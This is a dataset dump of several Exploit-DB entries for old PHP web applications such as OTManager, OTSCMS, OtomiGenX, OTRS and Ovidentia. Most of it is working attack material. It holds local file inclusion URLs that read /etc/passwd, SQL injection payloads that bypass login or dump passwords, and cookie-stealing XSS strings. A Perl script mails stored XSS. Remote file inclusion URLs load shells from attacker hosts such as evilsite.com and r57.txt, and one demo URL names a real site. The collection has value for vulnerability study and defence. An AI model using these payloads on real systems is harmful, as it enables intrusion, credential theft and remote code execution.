deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5957
Description: OTManager CMS 24a - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-27
Author: CWH Underground

Exploit:
===========================================================
  OTManager CMS (LFI/XSS) Multiple Remote Vulnerabilities
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 27 June 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : OTManager CMS
 VERSION     : 24a Completo
 VENDOR      : http://www.otmanager.org/
 DOWNLOAD    : http://downloads.sourceforge.net/otm/OTManager_v24a_Completo.zip
#####################################################

---------------------------------------
 Vulnerable File [index.php?conteudo=]
---------------------------------------

@Line

   76:  if($_REQUEST['conteudo']==""){
   77:  require("Principal.php");
   78:  }else{
   79:  if(!file_exists($_REQUEST['conteudo'].".php")){
   80:  echo '<center><font size="3"><b>404 URL Invalida</b></font><br><br>Por Favor, Selecione o Conteudo no Menu ao Lado.</center>';
   81:  }else{
   82:       require($_REQUEST['conteudo'].".php");
   83:       }
   84:  }


---------
 Exploit
---------

#####
 LFI
#####

[+] http://[Target]/[otmanager_path]/index.php?conteudo=[LFI]

   
    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS, For view pass hash.

#####
 XSS
#####

[+] http://[Target]/[otmanager_path]/index.php?conteudo=[XSS]


-------------
 POC Exploit
-------------

#####
 LFI
#####

[+] http://192.168.24.25/otmanager/index.php?conteudo=../../../../../../../../boot.ini%00

#####
 XSS
#####

[+] http://192.168.24.25/otmanager/index.php?conteudo=</title><script>alert('XSS test');</script>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-27]
Exploit-DB #5680
Description: OtomiGen.x 2.2 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-27
Author: Saime

Exploit:
[+] Author: Saime
[+] Script: OtomigenX v2.2 (lang) Local File Inclusion
[+] URL: http://kmrg.itb.ac.id/otomigenx/?menu=download
[+] Date: 28/05/2008
[+] Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke, and everyone else I forgot!
[+] Site: http://h4ck-y0u.org

[+] File: library_rss.php/rss.php
[+] Exploit:
http://localhost/otomigenx/rss.php?lang=../../etc/passwd
http://localhost/otomigenx/library_rss.php?lang=../../etc/passwd
[+] Demo:
http://kmrg.itb.ac.id/otomigenx/library_rss.php?lang=../../../../../etc/passwd
[+] Notes: Don, hows the threaded version going? lololol ( javascript:alert('noob'); ) or should it be plain xss? LOLOL

# milw0rm.com [2008-05-27]
Exploit-DB #31868
Description: OtomiGenX 2.2 - 'userAccount' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-02
Author: hadihadi

Exploit:
source: https://www.securityfocus.com/bid/29470/info

OtomiGenX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OtomiGenX 2.2 is affected by this issue; other versions may also be vulnerable. 

The following example POST parameters are available to demonstrate this issue:

userAccount: admin ' or 1=1/*
userPassword: <anything>
userType: Staff
Exploit-DB #36842
Description: OTRS < 3.1.x / < 3.2.x / < 3.3.x - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-04-27
Author: Adam Ziaja

Exploit:
# Exploit Title: Stored Cross-Site Scripting (XSS) in OTRS
# Date: 28.01.2014
# Exploit Author: Adam Ziaja http://adamziaja.com
# Vendor Homepage: https://www.otrs.com
# Version: 3.1.x before 3.1.20, 3.2.x before 3.2.15, and 3.3.x before 3.3.5
# CVE : CVE-2014-1695

#!/usr/bin/perl -w
use strict;
use MIME::Lite;
my $msg = MIME::Lite->new(
    Subject => 'OTRS XSS PoC',
    From => 'attacker@example.com',
    To => 'otrs@example.com',
    Type => 'text/html',
    Data =>
        '<html><body><img/onerror="alert(\'XSS1\')"src=a><iframe
src=javasc&#x72ipt:alert(\'XSS2\') ></body></html>'
);
$msg->send();
Exploit-DB #2622
Description: OTSCMS 2.1.3 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-23
Author: GregStar

Exploit:
**********************************************************************************************************
                                       *                       *
			               * Coding 4 Fun (c4f.pl) *
			               *                       *
			               *************************

* OTSCMS <= 2.1.3 by Wrzasq (www.otscms.com) ; 

* Class = Remote File Inclusion ;
 
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;

* Found by = GregStar (gregstar{at}c4f{dot}pl) ;

-------------------------------------------------------------------------------------------------------------------

OTSCMS 2.0.0 - 2.1.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['directories']['classes'] . $class . '.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.3.0 - 1.4.1 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['classes'] . $class . '.php');


- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.0.0 - 1.0.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['includes'].'OTSCMSException.class.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?

------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,RFL,d3m0n,java,kw@ch and for all friends.
**************************************************************************************************************

Notes:
Only works with php5 and 2.1.4 should also be vulnerable using OTSCMS.php with the config variable.
/str0ke

# milw0rm.com [2006-10-23]
Exploit-DB #3283
Description: otscms 2.1.5 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-07
Author: GregStar

Exploit:
***************************************************************************************************************
                                                              					          		 
			               			 Coding 4 Fun     						 
			                                      						  		 
***************************************************************************************************************
													  		 
* Name = OTSCMS 2.1.5 by Wrzasq (http://otscms.com) ; 											
													  		 
* Class = Sql Injection / XSS  ;											
															 
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;				 			
													  		 
* Found by = GregStar (gregstar[at]c4f.pl) (http://c4f.pl) ;				          		 
												  	  		 
---------------------------------------------------------------------------------------------------------------
[SQL]	
												  		
Vulnerable Code in [path]/mod/PM/reply.php												
															 
line 22-26														
															 
...															 
															 
extract( $http->extract('id') );

// reads message
$pm = $db->query('SELECT [pms].`name` AS `name` [...]  ' AND [pms].`id` = ' . $id)->fetchAll(); <---
$pm = $pm[0];								
															 
...															 
	
Example :

http://[target]/[path]/priv.php?command=reply&id=-1%20UNION%20SELECT%20accno,null,password%20FROM%20accounts ;


----
[XSS]


http://[target]/[path]/forum.php?module=User&command=profile&name=<script>alert(document.cookie);</script>

# milw0rm.com [2007-02-07]
Exploit-DB #1854
Description: Ottoman CMS 1.1.3 - '?default_path=' Remote File Inclusion (1)
Type: webapps
Platform: php
Date: 2006-05-31
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#
# ottoman_v1_1_2 - Remote File Include Vulnerabilities
# Script site: http://prdownloads.sourceforge.net/ottoman/
# Find by Kacper (Rahim).
# Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Special greetz DragonHeart :***
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#
##################################################################

http://www.site.com/[Ottomanpath]/error.php?default_path=[evil_scripts]
http://www.site.com/[Ottomanpath]/index.php?default_path=[evil_scripts]
http://www.site.com/[Ottomanpath]/classes/main_class.php?default_path=[evil_scripts]


#Elo ;-)

# milw0rm.com [2006-05-31]
Exploit-DB #5920
Description: ourvideo CMS 9.5 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??       [ Remote File Include ]   [ Local File Include ]     [XSS]         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : Ourvideo CMS 9.5       ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

[RFI]

http://localhost/path/phpi/edit_top_feature.php?include_connection=[SHELL]
http://localhost/path/phpi/edit_topics_feature.php?include_connection=[SHELL]


[LFI]

http://localhost/path/phpi/rss.php?prefix=[LFI]


[XSS]

http://localhost/path/phpi/login.php?top_page=[XSS]
http://localhost/path/phpi/login.php?end_page=[XSS]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-23]
Exploit-DB #24291
Description: Outblaze Webmail - HTML Injection
Type: webapps
Platform: php
Date: 2004-07-19
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10756/info

Outblaze Webmail is reported prone to an-HTML injection vulnerability because the application fails to properly sanitize user-supplied HTML email content.

An attacker may be able to inject HTML and script code into the application through HTML email because it isn't properly sanitized.

An attacker can exploit this issue to access an unsuspecting user's cookie-based authentication credentials and to retrieve personal email. Other attacks are also possible.

<IMG SRC="javasc&#X0A;ript:alert (document.cookie)";" border="0" height="1" width="1">
Exploit-DB #10218
Description: outreach project tool 1.2.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-11-24
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ Indonesian Hacker ]

########################################################################
# OPT (Outreach Project Tool) <= 1.2.6 [CRM_path] Remote File Include Vulnerability
# Download Script      :  http://sourceforge.net/projects/outreach
# Dork                 :  "Adhan Handsome"  :D
########################################################################
#
# Vuln : ./OPT_1-2-7_MAX/opt/forums/Forum_Include/index.php (line 10)
#       <?php
#          include "$CRM_path/forums/Forum_Include/forum_admin.inc";
#       ?>
# PoC  :  http://server/[path]/forums/Forum_Include/index.php?CRM_path=http://[attacker]/shell.txt???
#
#
#
########################################################################
# Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#         dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

# Contact Me : cr4wl3r[4t]linuxmail[dot]org

   [ Gorontalo / 2009 ]
Exploit-DB #26590
Description: OvBB 0.x - 'profile.php?userid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15566/info
 
OvBB is prone to multiple SQL injection vulnerabilities.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
OvBB 0.08a and prior versions are reportedly affected. 

http://www.example.com/forums/profile.php?userid=[SQL]
Exploit-DB #26589
Description: OvBB 0.x - 'thread.php?threadid' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-24
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15566/info

OvBB is prone to multiple SQL injection vulnerabilities.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

OvBB 0.08a and prior versions are reportedly affected. 

http://www.example.com/forums/thread.php?threadid=[SQL]
Exploit-DB #13946
Description: Overstock Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-20
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Overstock Script SQL Vulnerable 
Vendor url:http://www.jce-tech.com
Version:1	
Price:n/a
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

Overstock script is a PHP based script that can be used to display product data from the Overstock XML data feed. The script comes complete with a default template to get you started. It completely separates PHP logic and HTML look. Code: PHP 4.0 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/storecat.php?store=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #27949
Description: Ovidentia 5.6.x/5.8 - 'approb.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info

Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/orid/ovidentia/approb.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27956
Description: Ovidentia 5.6.x/5.8 - 'options.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
      
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
http://www.example.com/orid/ovidentia/options.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27955
Description: Ovidentia 5.6.x/5.8 - 'posts.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
     
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/orid/ovidentia/posts.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27954
Description: Ovidentia 5.6.x/5.8 - 'search.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
     
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/orid/ovidentia/search.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27953
Description: Ovidentia 5.6.x/5.8 - 'statart.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
    
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
http://www.example.com/orid/ovidentia/statart.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27952
Description: Ovidentia 5.6.x/5.8 - 'vacadm.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
   
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/orid/ovidentia/vacadm.php?babInstallPath=http://www.example.com/r57.txt?
Exploit-DB #27951
Description: Ovidentia 5.6.x/5.8 - 'vacadma.php?babInstallPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18232/info
  
Ovidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/orid/ovidentia/vacadma.php?babInstallPath=http://www.example.com/r57.txt?